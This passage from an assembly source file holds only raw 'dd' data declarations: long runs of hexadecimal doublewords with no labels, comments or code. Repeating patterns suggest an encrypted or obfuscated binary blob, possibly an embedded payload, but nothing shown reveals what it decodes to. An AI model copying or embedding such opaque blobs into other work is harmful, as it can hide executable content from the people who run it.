77CDEADFh, 1DFD3C99h, 22359569h, 9E3D1566h, 88321567h dd 0E0B72E93h, 2D35FE9Eh, 113244E3h, 93BA1A66h, 4B321566h dd 223200ECh, 1122FC66h, 46101566h, 0E96EF3D3h, 0D0B9500Fh dd 88DD6CC8h, 0DB9D464h, 43D60F5Fh, 2BDB4306h, 0CF321566h dd 2850692Eh, 0C442CE74h, 223AFD39h, 0B81C1566h, 6727DA5Fh dd 256BCFE3h, 1377FAE1h, 20CF2489h, 0D09E989h, 43D9EDCEh dd 22049069h, 9ACB1566h, 6C26F0E3h, 14C77561h, 78FDA269h dd 0EE8F4007h, 0A1CDEA99h, 4B524889h, 223210EFh, 0F8B37366h dd 3548DFEh, 0C13D749Fh, 2232156Eh, 11309469h, 0E9521566h dd 0BC82905Dh, 0A73D128Dh, 113215E0h, 66B3E906h, 55BD5D15h dd 0FF8F9607h, 1135F148h, 88429069h, 49DB1566h, 0C9321566h dd 0B8D5EB6Fh, 0DF1E2FF6h, 78F18869h, 2239FC06h, 711B1566h dd 2079864Eh, 85DF4940h, 223EFCB1h, 56CB1566h, 0FC8A569Eh dd 74348DA7h, 0A953879Ch, 0F5292CE3h, 8820FC61h, 680A1566h dd 35A550ABh, 0CDF2F54Eh, 8D632177h, 0A6BBE0FDh, 2233AE35h dd 0CE331566h, 0EE52EC3Dh, 379AE3E7h, 0F1CAAB06h, 943D3C27h dd 88321566h, 0C1097407h, 25D9EDCAh, 11679069h, 87521566h dd 443216E7h, 0F8B97366h, 0ED532DD7h, 0A6EFA8E5h, 4B321282h dd 22322FE3h, 10B21A66h, 70321566h, 62BF90EDh, 74521282h dd 11329069h, 0E96A1566h, 44339F69h, 72CB1566h, 113214DEh dd 0D0F51466h, 443E9E69h, 98521566h, 6D5D7023h, 8CEB9400h dd 7FCE7441h, 0C9CAA1E3h, 53B71A61h, 87321566h, 44321DE3h dd 20BA1A66h, 71321566h, 0DB9E907h, 43D6305Bh, 34F69506h dd 1138FC06h, 229C1566h, 0DD691589h, 18BF8F00h, 70C1AA69h dd 0A4B14207h, 246DEA42h, 22349769h, 9E3D1566h, 88321566h dd 0FCB72E07h, 2D35FE9Eh, 11326EE3h, 883BFC66h, 81F11566h dd 78269C59h, 9A2E380Dh, 6C1E0CE3h, 49DB7561h, 24321566h dd 9DA0EF56h, 55912DACh, 0BE4CA58Eh, 2232068Eh, 0CAB93966h dd 0E5E1878Dh, 3574076Bh, 0F197CBDh, 45A5D9BAh, 0E96DDBEDh dd 4432048Fh, 8BBE1266h, 61A71AB9h, 3DA1C79Ch, 71C0456Fh dd 99617AC6h, 11321567h, 6169CA67h, 44321572h, 0AC00CC42h dd 0B325D44Bh, 965F5FC7h, 0DACFF7ACh, 0E8FCA44Eh, 0E98E905Dh dd 0D3D128Dh, 44321502h, 22321E8Fh, 0CD79E266h, 58F50654h dd 5A7E6AD5h, 82F90EDh, 963D1282h, 8832157Ah, 443AFC06h dd 7B281566h, 0AF5CC3C8h, 80DB0B61h, 79321566h, 3539C25Ch dd 70A1361Ah, 77CDAF34h, 931BEA99h, 3FB61A3Ch, 1E321566h dd 883202EFh, 4420FC66h, 0B4961566h, 0AEECF08Ah, 0F9C40h dd 8D146A6Bh, 4707EC73h, 0E9F2905Dh, 0D3D128Dh, 44321575h dd 83B79E9Ah, 0E835F173h, 778C439Ah, 6DCDEA99h, 19CE4B91h dd 0FACAD1E3h, 0D6B71A61h, 0AD321566h, 2232156Ah, 0CFCD4BA5h dd 0E5451A37h, 3948F7AFh, 73790EDh, 17DB1282h, 0FC321566h dd 22C59E6Eh, 6A8F403Eh, 5C50C644h, 9709D0E7h, 0A9B36F0Bh dd 767059CDh, 0FCB35023h, 0CFE1BEh, 4B6FFA67h, 22320DE5h dd 1121FC66h, 26C61566h, 0FEA49FADh, 70613D46h, 0A19FD8C2h dd 4A72FDEBh, 8CB72E31h, 2D35FE9Eh, 113223E3h, 8834FC66h dd 9A9C1566h, 0F4C9D854h, 38390EDh, 80DB1282h, 4B321566h dd 2A8C9C3Fh, 44690FC3h, 883214DBh, 19DD1466h, 22321F8Fh dd 0D2E2E266h, 34BFA927h, 7F46BD3Fh, 0C9CAD9E3h, 40B71A61h dd 61321566h, 4432156Fh, 0F8893D3Eh, 0E314101h, 883DFC55h dd 0E2CF1566h, 7210C86Bh, 0E2AE2633h, 0E0A90706h, 0F5B79E99h dd 0DB35F164h, 6BA0AD36h, 50C57E6Ah, 1C3FC591h, 0F1E4C00h dd 0BB0667Ah, 1562E243h, 0BB7E1011h, 0E533BE00h, 77CA753Eh dd 0E90CC0DFh, 0BCE2905Dh, 0A73D128Dh, 11321523h, 8832068Fh dd 0F7982F66h, 9CEAF45Fh, 836E08AFh, 0F3660A68h, 0C03A522Fh dd 2ADB90EDh, 933D1282h, 88321571h, 44239069h, 2EDB1566h dd 66321566h, 49AB6913h, 6B4192ADh, 73794D4Bh, 113214DFh dd 0D1FD1466h, 0CDB72E9Fh, 2D35F147h, 113241E3h, 3F3D7566h dd 443DFCB8h, 2DAC1566h, 7486413Ch, 0BB9CD903h, 0DD837849h dd 0AD3D748Ah, 1132156Ch, 8832108Fh, 0BAA13866h, 0A7B9992Fh dd 16D60A27h, 88321C8Fh, 0CF6A7866h, 29B7C341h, 0AF64D38Bh dd 77CDEA99h, 4B6CE24Fh, 22321DE1h, 13B21A66h, 0E8321566h dd 90B72E07h, 2D35FE9Eh, 11324DE3h, 8FB31A66h, 4B321566h dd 223214E8h, 94B9EC66h, 8FD6370Fh, 44321E8Fh, 24E6CF66h dd 1AAAB952h, 0F7D61E70h, 0A67AE35h, 0A3790E61h, 0B5479ADh dd 63B35E0Eh, 3F2D7B1Ch, 2D69CA67h, 113214E2h, 0EE52ED66h dd 8758D7E7h, 22321E8Fh, 71038066h, 80B75C6h, 0BD3888F2h dd 32B72E07h, 1E35FE9Fh, 883272E3h, 443DFC66h, 35101566h dd 0E977D16Bh, 0F9E84017h, 7065CE61h, 3A8F96A9h, 1135FE9Fh dd 881A9069h, 0C7CE1566h, 0C610B8DBh, 953D1561h, 8832155Eh dd 57B61A93h, 0CB321566h, 11321568h, 0F8B18DD2h, 9AAF951Eh dd 0E3F6DC81h, 94B9ADAEh, 8FD638A7h, 1B60429Eh, 0F5B5573Ch dd 11321E8Fh, 5248D466h, 0C993BAE6h, 0CD727E29h, 0E826905Dh dd 0D3D128Dh, 4432150Dh, 20B61A06h, 9A321566h, 4FB373B1h dd 0C7534ADEh, 0C9CB0DDBh, 943D1561h, 88321556h, 0B7851A06h dd 22B01A36h, 4F321566h, 258F9607h, 4435F144h, 22079169h dd 0DB1566h, 88321566h, 0C2C90868h, 0A9CF0471h, 9962A2Ch dd 0AA3DC347h, 5F7F90EDh, 71C71282h, 1F6C7BDDh, 9E1E234h dd 2180E8Dh, 55C19429h, 106CBE11h, 0B3CB4EB9h, 0AFCACDE3h dd 18B71A61h, 1E321566h, 88321DE0h, 46B01A66h, 42321566h dd 0C0B79E07h, 8735F178h, 443214EDh, 9A62E066h, 5D1804A4h dd 80DAD426h, 3910CB63h, 91201030h, 0D633BC50h, 66B3753Eh dd 7049C5A1h, 0FEB72E07h, 1E35FE9Eh, 88323DE3h, 0C1B9ED66h dd 25D600DFh, 6A8A459Fh, 0C046EE72h, 324D5C6Bh, 0A737550Fh dd 10B015E6h, 8EDB4DA1h, 0E4321566h, 9C6121ADh, 0F1B72E74h dd 8735FE9Eh, 443254E3h, 0A7B9E066h, 16D63447h, 883A9E69h dd 0C23D1566h, 22321564h, 0A8637406h, 0BA2C0C32h, 21DB942Fh dd 0D5459E44h, 0E1F394B7h, 89888790h, 4BDB4CA9h, 0B7321566h dd 6CFC6FBBh, 0D254CC66h dd 1202793h, 0A70950C0h, 16D9ED82h, 88709069h, 0C13D1566h dd 22321569h, 11321F8Fh, 0CC5D5066h, 0E7C43D0Bh, 0A9C52025h dd 0F53774E3h, 80B31A61h, 4B321566h, 223217E9h, 0E4537566h dd 8836F9E7h, 78BB1566h, 636EA42h, 1134FC39h, 0BE471566h dd 0CF2BDD9Eh, 0DADA905Dh, 943D128Dh, 8832155Dh, 47B41A06h dd 44321566h, 9C3DC2EDh, 88321564h, 0CF534B35h, 0C61198E3h dd 9052ED61h, 0A634B584h, 1BFD940Bh, 4339D7A2h, 66DAAF34h dd 7AB32A4Bh, 84E09D71h, 4268C24Fh, 2A53E7EDh, 63CAF9E3h dd 0FB71A61h, 0CB321566h, 11321568h, 29FE33BEh, 54998D2Ah dd 1938D2BBh, 94B9DC29h, 8FD63A1Fh, 44339F69h, 75C71566h dd 0EE1639E7h, 0D7CDEA99h, 44239169h, 0A23D1566h, 1132156Dh dd 8832138Fh, 15F1F566h, 4294DF1Ch, 4A684230h, 2CD39400h dd 0BB3974AFh, 22199169h, 46521566h, 36A7406h, 45DB74AEh dd 2DCDEA8Bh, 11320DECh, 8821FC66h, 2F361566h, 214032C1h dd 9E634B7Bh, 29753DC2h, 4AA20853h, 0A3B72E0Bh, 1E35F169h dd 883255E3h, 51B31A66h, 0CB321566h, 11321576h, 0C523922Fh dd 7353CC1h, 889317DFh, 0C5DA046Eh, 0DA5E90EBh, 50DB128Dh dd 61321566h, 594E1B17h, 0E243D23Ch, 5D042126h, 0B032E51Fh dd 0F89ACECCh, 77CDF9FEh, 0FDB72E9Eh, 2D35F143h, 113291E3h dd 883BFC66h, 147C1566h, 822E0627h, 923A336Ah, 63CA2DDBh dd 0C13D1461h, 2232150Fh, 11321A8Fh, 8E666966h, 73B56AD2h dd 0C7E3A6Ah, 4FF47D1Ah, 835590EBh, 50DB153Fh, 4B321566h dd 7D99F191h, 0E24CB5B8h, 7133C081h, 85B3201Bh, 0E92FEC0Bh dd 77DE228Fh, 52B01A99h, 0CB321566h, 11321577h, 11D2C27Fh dd 3157D1CBh, 5DE07B84h, 0DEE9CA73h, 883DFCC1h, 0E6341566h dd 1249281Ch, 0CC8C913Fh, 2BF7FAB3h, 0CB72EBEh, 2D35FE9Eh dd 113246E2h, 9ADB7566h, 0A1321566h, 0CB27EC53h, 8D5F25C9h dd 54B55B83h, 0F8349948h, 223FFD8Eh, 84B81566h, 5079762Bh dd 20EDCD1Eh, 0CADDFF47h, 11321569h, 0D9C953CAh, 0C7C26784h dd 82FBFE2Eh, 4FDDDAD5h, 0D097438h, 43D9ED2Ah, 22119069h dd 71CB1566h, 0E9E59E00h, 0BBD9B68Fh, 2221FC99h, 75F41566h dd 623164F8h, 7C41DBFh, 358498B8h, 63339D27h, 888D420Bh dd 13321566h, 0F11621E7h, 4F63CA30h, 0DEE1E3E7h, 0B86D44B9h dd 2D33EBE5h, 113337E3h, 8820FC66h, 79971566h, 420EEAEAh dd 7B9EABA3h, 2D81C39Bh, 2FDABBB5h, 0DA0E905Dh, 943D128Dh dd 88321524h, 443AFC06h, 0CB851566h, 3BCE9A5Fh, 23DD250h dd 44321573h, 2232058Fh, 64BA6066h, 182371h, 0EE30EDC6h dd 0EFCDF68Dh, 94BF7480h, 886A92A2h, 0C554ED06h, 4376E6AFh dd 0EED91E8Fh, 3547599h, 0C10974BFh, 25D9ED26h, 115A9069h dd 87521566h, 443210E2h, 0FBB37366h, 0A63D7555h, 0DBF74B4h dd 446A9D5Ch, 222E9469h, 9F3D1566h, 88321570h, 4432048Fh dd 9B8B0D66h, 3211D98Eh, 96FD494Eh, 3F7BE2D2h, 9FDB9B0Ah dd 71CDEA8Ch, 0D3537530h, 4432078Fh, 0AE2C0266h, 0E73B1F0h dd 0FB8788C7h, 0BB77B0B3h, 437EDC99h, 113A9569h, 87521566h dd 443215EEh, 0A7097466h, 16D9ED22h, 880F9069h, 0C9CA1566h dd 7ABA6AE3h, 113CFC66h, 1A651566h, 0BA1F5881h, 7A90045h dd 0E3D0C4BFh, 77D8728Fh, 56DB7599h, 1F321566h, 5BD4AE22h dd 0F5A277EAh, 0DC342544h, 0C1571773h, 0D9B373B7h, 0DD5309DAh dd 0ACBBD0EFh, 0A31639EDh, 113211A2h, 0EECB7566h, 0F01AC3E7h dd 0DA8A4507h, 0E6736D11h, 8D075DBEh, 0CD8C92EEh, 6369EA0h dd 1136D1E7h, 3D1566h, 44321567h, 2DC41E9Eh, 113202E3h dd 57DBED66h, 0ADCDEA8Fh, 2232156Dh, 336C293Bh, 0E2F47935h dd 0BC5653B9h, 6069E36h, 0F836D1E5h, 8832156Ah, 6D920A9Ch dd 0FA5AFB3Ch, 43BC4409h, 0AB7FA0EFh, 0CA3D1282h, 22321567h dd 10879C9Fh, 0E835F148h, 44329B69h, 0A2531566h, 943DFC58h dd 8832158Fh, 6E59406h, 2D2683CFh, 113217EBh, 0E9D5A066h dd 4436F9E7h, 36BB1566h, 1133AF42h, 7A331566h, 24682FEDh dd 0A03DC4ECh, 11321566h, 2CDD9407h, 0C5772052h, 0BD4BBF89h dd 90C51410h, 174BBFA1h, 0E0F59410h, 42772052h, 70C79CD2h dd 0DFC59C31h, 0FA524A3Dh, 54CB0349h, 0F853D6EDh, 8832156Fh dd 1FBECC50h, 5C708A53h, 0DA8C43F2h, 9774E74h, 626D0B90h dd 25DCD40Ch, 3724FBE7h, 66B32724h, 8A2E81E3h, 16B9E667h dd 15F69442h, 61321566h, 44321577h, 32B38142h, 0CED67EB5h dd 0B9A3F476h, 8F694FC2h, 6F8F2E47h, 1E35F145h, 883202E4h dd 0AAB27566h, 50EC9532h, 1EC92E07h, 88323DE0h, 45B01A66h dd 0DA321566h, 0EEDAD08Fh, 8752ED99h, 0AC63C7D1h, 22321568h dd 215D244Ch, 0DE59E0CBh, 81837474h, 7C6D5713h, 0F88F9E07h dd 8735F17Dh, 443204EFh, 223EFC66h, 3D531566h, 20E7C902h dd 53DA0F66h, 0A7F5D355h, 16D60003h, 88321566h, 42B81A06h dd 2D321566h, 113215E3h, 71527466h, 84F99506h, 22319D69h dd 9A541566h, 3DBB74BCh, 43D63B67h, 2232078Fh, 4700E466h dd 0CED6B16Dh, 79266F05h, 0DEE51083h, 1ED01234h, 883214EFh dd 0D9BFED66h, 25DE696Fh, 11339569h, 77CB1566h, 0AD8D75B5h dd 447565B7h, 0D42AE3E7h, 87F21E07h, 443209E2h, 2223FC66h dd 136C1566h, 1612B546h, 0E78AFD73h, 0D6AD823Bh, 0F8E9A39Fh dd 883215DCh, 64AF989Eh, 2D35FCD3h, 113207EFh, 84B41A66h dd 0AD321566h, 22321561h, 0B91EB084h, 77627017h, 33B11AB5h dd 0CBCDEA99h, 11321576h, 0D2C3200Bh, 71139C0h, 69712CD3h dd 6BDA129Eh, 0A633A0EDh, 4B521282h, 223216EFh, 0DEB97366h dd 97288D8h, 0F1BB747Ch, 25D60003h, 10BD1A93h, 74321566h dd 8D0A88EBh, 0AA3D128Ch, 11321561h, 61B37306h, 0AD535FCEh dd 22321574h, 0D0019D75h, 84B49BBBh, 475C002Ah, 728B845Fh dd 0C2CD52A4h, 8832018Fh, 26377B66h, 3E7F51A9h, 0CB756EFCh dd 156C242Dh, 7AED073Ah, 0AD3D7551h, 11321560h, 88329769h dd 0C23D1566h, 22321567h, 94B9749Eh, 8FD6362Bh, 44369E69h dd 0DA521566h, 94BB7493h, 8FD63B67h, 4ADB749Ah, 31321566h dd 0AC0D0CB2h, 0B9BE1A86h, 940950BFh, 0CA0C95E1h, 11C49069h dd 3D1566h, 4432156Fh, 0E8B37306h, 4E65A68Ch, 0E98F9607h dd 4435F164h, 22E89169h, 71521566h, 0AF5AAB00h, 45213BD8h dd 9A54742Ah, 1E53331Dh, 883216E3h, 25CA7566h, 44CAA635h dd 0E7EE9D36h, 0EED19DBAh, 0DF1953Eh, 0AA8AE6E6h, 1E524EBEh dd 0F3DEBD9h, 44321563h, 70DBBFDFh, 0F898741Eh, 8832156Dh dd 0A7629573h, 1AE897B4h, 0E85BE6B5h, 88349E0Eh, 600E9C66h dd 0DABBE2EFh, 1137FC39h, 57001566h, 41D05178h, 297F692Dh dd 0A863ED4Fh, 0BA4214DBh, 1FF5FCE7h, 0CBF304B5h, 9EF39460h dd 7F682208h, 0B5B35CB7h, 8C3977F5h, 0E46BDD4Fh, 848A4535h dd 7176A923h, 668E506Eh, 386AD6EFh, 8524EBEh, 0FB5465BFh dd 8953548Fh, 1132078Fh, 0DBFBA966h, 9916261Bh, 1A216815h dd 0D647894h, 0E8315AF3h, 0C5547AD6h, 43A46DB7h, 1130978Fh dd 42B97566h, 256CE935h, 40A288EBh, 7752128Ah, 0F619C6E7h dd 4432068Eh, 6D371866h, 9DD33095h, 0CCA47925h, 0A88F86FCh dd 0E927C63Ch, 1132198Fh, 17D86466h, 4D1F9387h, 65F8B09Eh dd 1E534FD5h, 883219E5h dd 42B81A66h, 2D321566h, 113215ECh, 0E8E1EA66h, 4432048Fh dd 0AE26BE66h, 2A27D6E2h, 285A13E6h, 0D886787Eh, 0A3543DC4h dd 706C86AEh, 0FECA88EBh, 0B8C7128Ah, 4252C699h, 0F7A8E5DCh dd 83537444h, 59B71AA6h, 42321566h, 0F853C5EDh, 8832155Dh dd 44321A8Fh, 7801FE66h, 6FE985D6h, 7FC0BF95h, 0B485D1A1h dd 0C3390E5h, 1E371282h, 88321DEEh, 46B61A66h, 42321566h dd 0EF75FC07h, 80DBEA99h, 0DC321566h, 0E0DAEABEh, 9C402E09h dd 644ACFFBh, 2252ED61h, 28CDFDE7h, 1132108Eh, 1D8EFC66h dd 0A38B1089h, 7D7F4CFEh, 71E1EA07h, 88319969h, 0CF541566h dd 43C29EA4h, 943DD56Dh, 88321554h, 5DB01A93h, 0CB321566h dd 11321572h, 88CB13A5h, 0A4FD163h, 7B1AEE9h, 920ABF97h dd 0F5458AB6h, 44325F8Fh, 24BD1A66h, 71321566h, 4FC6AC00h dd 1465EC07h, 45030DDEh, 7CD01862h, 82377584h, 0CDA90DE4h dd 0D8334DA1h, 90547539h, 0EE73B4B1h, 250127DFh, 2233338Fh dd 1122FC66h, 363B1566h, 0AAA361EEh, 67117B93h, 0B8F88A0Bh dd 5CEAFDBh, 0AD8735FBh, 2DDA7561h, 9A321566h, 665D1ABFh dd 0E9915D4Dh, 0B9E862D0h, 49C7E136h, 88319E69h, 0F33D1566h dd 0F1CD74BEh, 11059669h, 9CDB1566h, 8A321566h, 4FDCCCDEh dd 10C6725Ch, 27723E40h, 5CC8E387h, 0A9F3DFC1h, 0F51C14D3h dd 89B01A61h, 0BC321566h, 221E358Fh, 913D7566h, 88321564h dd 99B8EFEDh, 23BF9E07h, 1E35F148h, 883211E5h, 1F867566h dd 23879C07h, 0E935F148h, 88339869h, 0C5CB1566h, 463010A7h dd 0A3DB9412h, 0A1005259h, 0F6F39497h, 0A3005259h, 7530108Fh dd 0B537512h, 95C5EAA7h, 2239FD06h, 4471566h, 824D94FBh dd 8A756A5h, 0E3B9734Ah, 0EAF5943Dh, 0E967F11Ah, 6C4BAD36h dd 0C2F35447h, 3733065h, 0EE17252Ah, 4114E14Dh, 5F9D6E85h dd 0B32BB653h, 0D0F4140Bh, 0AAB3DB4Fh, 323F72E6h, 0F896E69Fh dd 88321568h, 902FC49Ch, 1A9CB6D5h, 76C1A421h, 1ADB1CF1h dd 24CDEA9Ah, 42C5FAE6h, 9A54E1ECh, 55374AEh, 0AEF975FBh dd 2239FC61h, 0C7931566h, 59946E9h, 18EBB327h, 2DE1EA68h dd 113203E6h, 98B71A66h, 0AD321566h, 2232156Dh, 0DA95EA5Bh dd 0A810189Bh, 2C4AA0E6h, 223252F3h, 901629EFh, 0F2FC3152h dd 716A6560h, 52346FA8h, 11259F69h, 9ADB1566h, 2E321566h dd 664FBF42h, 0EEEDCC1Dh, 656FA48Fh, 71962FBEh, 0CBB73EC4h dd 7135F17Dh, 8832018Fh, 78786366h, 5719047Bh, 0B985F9AEh dd 29F63CB4h, 0A52F59F2h, 0FD8C7372h, 94BB749Eh, 8FD60CB7h dd 0ADB79E93h, 0CB35F17Dh, 11321563h, 7AD8C7DDh, 1EC57D51h dd 1EBB1566h, 113DFC42h, 2EF21566h, 0E13C4D4Ch, 257F6466h dd 0F668FD81h, 92277D63h, 40BB1566h, 2CBE1A42h, 71321566h dd 88329869h, 0C13D1566h, 22321566h, 0C2BF9807h, 0E835FFABh dd 44369269h, 99541566h, 0CAB35099h, 91700FB6h, 4BE3EA07h dd 223212E5h, 10BA1A66h, 7D321566h, 5F6F90EDh, 0A83D1282h dd 1132157Fh, 8832018Fh, 0C3EC2866h, 6C4848CAh, 53A164E8h dd 4006178Ch, 5ED7A5D3h, 0C1BB467Dh, 1136D6E7h, 63B11566h dd 602E9262h, 6369C3Ah, 0AA547593h, 9ADB32CBh, 17321566h dd 552ABF37h, 0E8FBE79Ah, 94BA4397h, 879CC961h, 8D5A7461h dd 9832157Dh, 83D315Ah, 4432156Ah, 2232128Fh, 0F20CE666h dd 0DC20AE46h, 5FDB90EDh, 77CE1282h, 0D4B3F0EFh, 88321562h dd 4436F8E7h, 0EB51566h, 15BB4942h, 33547542h, 0B28BE0D5h dd 43151B4Bh, 0DE2798EBh, 77CA128Ch, 0CD61E0B7h, 0A9E89CA5h dd 0D5B1317Ah, 9AB61A62h, 24321566h, 2238FC9Ah, 0C84E1566h dd 0E475B8BCh, 9709ABDCh, 2EB94507h, 15F69642h, 88321B8Fh dd 5A388566h, 78D49E6Fh, 0F7007413h, 0A3A42E75h, 0A02948EBh dd 28BA1A61h, 0F8321566h, 88321563h, 7B71D8ECh, 878F9641h dd 1135F147h, 88E69169h, 0C03D1566h, 2232156Ch, 0C0F49406h dd 35BBEFDh, 0C1B974B8h, 25D6081Fh, 112F9169h, 60521566h dd 44321576h, 987A49F5h, 3AB8EB04h, 96F0A4B2h, 91B55897h dd 0CBB37339h, 3A53860Bh, 6C13B0E3h, 4439FC61h, 0D3D01566h dd 0FBEEB68Fh, 5853B6BAh, 4BF32E6Bh, 223268E0h, 10B81A66h dd 74321566h, 58AF90EDh, 0AD3D1282h, 11321574h, 8832188Fh dd 0D3D11666h, 6C3EDDF3h, 161A71EEh, 6152D03Eh, 4432156Eh dd 5F8B815Ah, 0AAEDA0F7h, 694409DCh, 0C131741Fh, 25D634C3h dd 0B0B79C9Ah, 6135F144h, 4432156Bh, 442ECC80h, 97BA8501h dd 77D4C3B0h, 57B11AF0h, 2D321566h, 113218EEh, 883AFC66h dd 830D1566h, 7BACA93Ah, 0C0DBA28Ch, 87321567h, 443214ECh dd 0AB60ED66h, 15F09484h, 9321566h, 4432118Ch, 6269266h dd 353E9C3Ah, 8832138Fh, 46B6F866h, 708D26D8h, 9060DFEFh dd 0B5403152h, 716A14EAh, 23BE2814h, 1CB51A3Ch, 0E8321566h dd 44329E69h, 6D8B1566h, 70163972h, 77CDAB30h, 0B433EA99h dd 0A9547538h, 0CE851A96h, 8CDE9407h, 0CD321566h, 0EA8C3152h dd 0D00C2F48h, 7EB31680h, 0BB82842h, 7C88E3E7h, 0DFB365B4h dd 8A4F0771h, 82B3CB91h, 0ECCF32B8h, 0F86CE56Fh, 8832156Fh dd 327C87FAh, 0DD7593CDh, 0EE8C4327h, 0A1CDEA99h, 4B524B96h dd 0AB53DCD1h, 0F52F6CE3h, 8822FC61h, 60311566h, 97B81D0Bh dd 0C430309Ch, 0F0B87858h, 0C1331F9Ch, 25D634F7h, 0B4B7D29Ah dd 8835F147h, 24321566h, 2DC8AA69h, 113217E6h, 0E9FD9E66h dd 2452550Ch, 9A544E31h, 1E539D45h, 6153DAD9h, 44321575h dd 95119558h, 800409EFh, 958A97DEh, 51A29F13h, 4A570C2Ch dd 11320566h, 8820FC9Fh, 242A1566h, 5AF8D9A7h, 0D16DA7DCh dd 6FB8D7C3h, 0F67440D3h, 2235650Eh, 353E9C66h, 88339169h dd 2EC71566h, 0B7CDE966h, 16D60C17h, 8821FC06h, 0B1EF1566h dd 0B9AF827Dh, 6E8F194Bh, 0AD930270h, 0D2F53C01h, 24BF1A1Bh dd 1E321566h, 883215EDh, 0D1CD7466h, 25D60DCBh, 8CB79C9Ah dd 6135F17Ah, 4432156Ah, 3878EA3h, 778E116Fh, 1909F1E1h dd 669390EFh, 0A03D1282h, 11321569h, 88321F8Fh, 86A0D66h dd 2B6F2087h, 9AC2B42Eh, 165316Ah, 40F59481h, 0A3321566h dd 113211A1h, 0AC0E9266h, 443DFC3Ah, 93001566h, 0BD7C5D96h dd 451D063Ch, 559E8EF0h, 0A2657542h, 47688D90h, 0E96B4A34h dd 6693A099h, 0DDCE1282h, 0F52948D3h, 83B71A61h, 0AD321566h dd 22321560h, 1959A243h, 165E32Eh, 40F59481h, 0A1321566h dd 2DB51189h, 0B4BB4942h, 4426FC42h, 15301566h, 37B8EE47h dd 1C52B0C8h, 459022DBh, 0D3AE2CA2h, 0EECE4EE5h, 6C29FCD3h dd 43B51A61h, 2D321566h, 113214EDh, 0EE52E066h, 4CB4F4E7h dd 0AF53E1ECh, 0FBD502E3h, 3F3D7561h, 97851AB1h, 42E2EA07h dd 1053DFEDh, 6C13B0EBh, 0FB3D7561h, 118C739Dh, 0ACB9742Eh dd 8FD637C7h, 86851A06h, 43C5AA69h, 0A6FA0EDh, 0C3D1282h dd 44321567h, 2D96E69Fh, 113214E1h, 3CBE966h, 0A02AFCD3h dd 2234FC61h, 0FE761566h, 5DE4A29Ch, 165AECCBh, 0AB321550h dd 0BC5A316Ah, 0D17C7C72h, 66DAE4E7h, 0CBF32A3Eh, 0D9C39465h dd 13C3340h, 0BD6BE928h, 4237D5A7h, 0E9AAB00h, 8832068Fh dd 9AAA3C66h, 8EB98A12h, 269639C7h, 34770565h, 3C627AB7h dd 728F4007h, 0E66F963Eh, 0C5EFE2B3h, 0DCBE0E7h, 0CA3364BFh dd 901639EDh, 883211A2h dd 443BFC66h, 48F71566h, 0B0A3643Ah, 8BC72C39h, 0A027C8E3h dd 0AFB9ED61h, 16D637C7h, 88321D8Fh, 98C60166h, 91CDFCE3h dd 1188471Ah, 89321566h, 0CF389CA4h, 0E6B13172h, 1ECA7562h dd 883210E1h, 9AE7AD66h, 8F53509Ah, 4A604206h, 8839FC3Eh dd 0E7DA1566h, 4C2CBCEBh, 7B587650h, 356774CDh, 645A6801h dd 4DBBAC37h, 0C0C552C3h, 0E8EBF4E7h, 0A5F31F67h, 0E5FB9464h dd 90556B02h, 61D54B97h, 0B87C9CDEh, 0DE5C143Fh, 10B01A3Bh dd 7D321566h, 0AD879C93h, 4235F17Eh, 11339B69h, 0E9CA1566h dd 44321C8Fh, 901FAC66h, 0E5EA12CEh, 70B1A096h, 0D6B71A99h dd 0DE321566h, 0CCEF2BE7h, 0D3DC8BBh, 443215E3h, 22249369h dd 1E521566h, 883215E1h, 443BFC66h, 3DA21566h, 0F4003380h dd 0E9D4AFE2h, 443DA50Eh, 62E9C66h, 113215DDh, 0D32C9C66h dd 44169269h, 0CB521566h, 11321569h, 2DA1D702h, 0A80F5015h dd 22F617BCh, 0F8543140h, 8832156Fh, 2E721528h, 19D5252Fh dd 0AA61742Ch, 88321562h, 6AF1D3E7h, 0FC336002h, 3FF1FBE7h dd 7D696002h, 5CDBA0EFh, 2ADB1282h, 0FA321566h, 0A36726Ch dd 0AD509D6Ah, 0DDCDC720h, 12F2D49Fh, 88321C8Fh, 4AB0866h dd 2DDE752Bh, 9431F9BEh, 8FD600BBh, 0DCF29406h, 0A223FD75h dd 0F853EC97h, 88321560h, 4A3DE774h, 9FB10854h, 16D60927h dd 3AB61A67h, 0B8321565h, 88982BE7h, 943DBFCCh, 883215B2h dd 443F9569h, 2ADB1566h, 18321566h, 82DC9910h, 0C59E3A0Ah dd 2232118Ah, 35369C66h, 883211DEh, 1CF41466h, 22249F69h dd 0DB1566h, 0CA321566h, 2BB84F2Bh, 2F420B55h, 3715CE11h dd 0BEFFDA87h, 124FAD36h, 0F2C5573Eh, 474CAB30h, 7833573Eh dd 0B8749C38h, 2222FC3Eh, 7ED11566h, 14A2CE14h, 702B0D8h dd 0FB120456h, 9A3DDB20h, 8832156Eh, 44309F69h, 43521566h dd 0D603ED57h, 3752ED57h, 2FAD2627h, 0E268A507h, 115A1186h dd 0A0321566h, 40B83162h, 26F69642h, 3DB624Ah, 0DC321566h dd 20E257D7h, 6A3CD096h, 204DDB6Ah, 713E3C4Ch, 0CE3D75B8h dd 22321563h, 58DB9400h, 88857566h, 94E4C2DFh, 0CB537471h dd 1132155Ah, 88339E69h, 0BDC71566h, 0A96A4236h, 0D5B1315Ah dd 8EB01A62h, 24321566h, 0ECB94B31h, 0A682E907h, 3E60D598h dd 1EC235ABh, 0CB527552h, 11321560h, 4AB63885h, 0C5545B95h dd 43D1EB94h, 14D29C36h, 88321562h, 4432114Bh, 6369266h dd 35369C3Ah, 258F9693h, 4535F144h, 234C9169h, 1CDB1566h dd 58321566h, 0E5B0561Ch, 0AEB82C4Ch, 798CFC44h, 8833150Eh dd 60369E66h, 4236D1E5h, 11339C69h, 87CA1566h, 0C753D2D9h dd 0C9CA41DBh, 953D1561h, 88321527h, 4432058Fh, 0BA5CFD66h dd 22C7F08Bh, 200E12DAh, 50B2AC87h, 9CAF98A5h, 0E435FF9Ch dd 88219169h, 0AC521566h, 22321563h, 0B8AFB88Eh, 93D4FA8h dd 44321566h, 42E1EA07h, 4027CFE6h, 0D7FDAA69h, 0D40D9507h dd 226E9169h, 3DB1566h, 54321566h, 0F76682AAh, 6B9DED45h dd 0E851CE25h, 0D1BDA91Dh, 40DE946Fh, 0AB321566h, 148B316Ah dd 89321566h, 42DB4CA9h, 0C3321566h, 0A77737F6h, 8823FCB9h dd 51FF1566h, 826AE903h, 6051C64Eh, 0EF305A48h, 0ADEB1CEAh dd 223214CBh, 113A9469h, 13D1566h, 44321564h, 0DAB17406h dd 88B01A36h, 61321566h, 44321561h, 3A1538AAh, 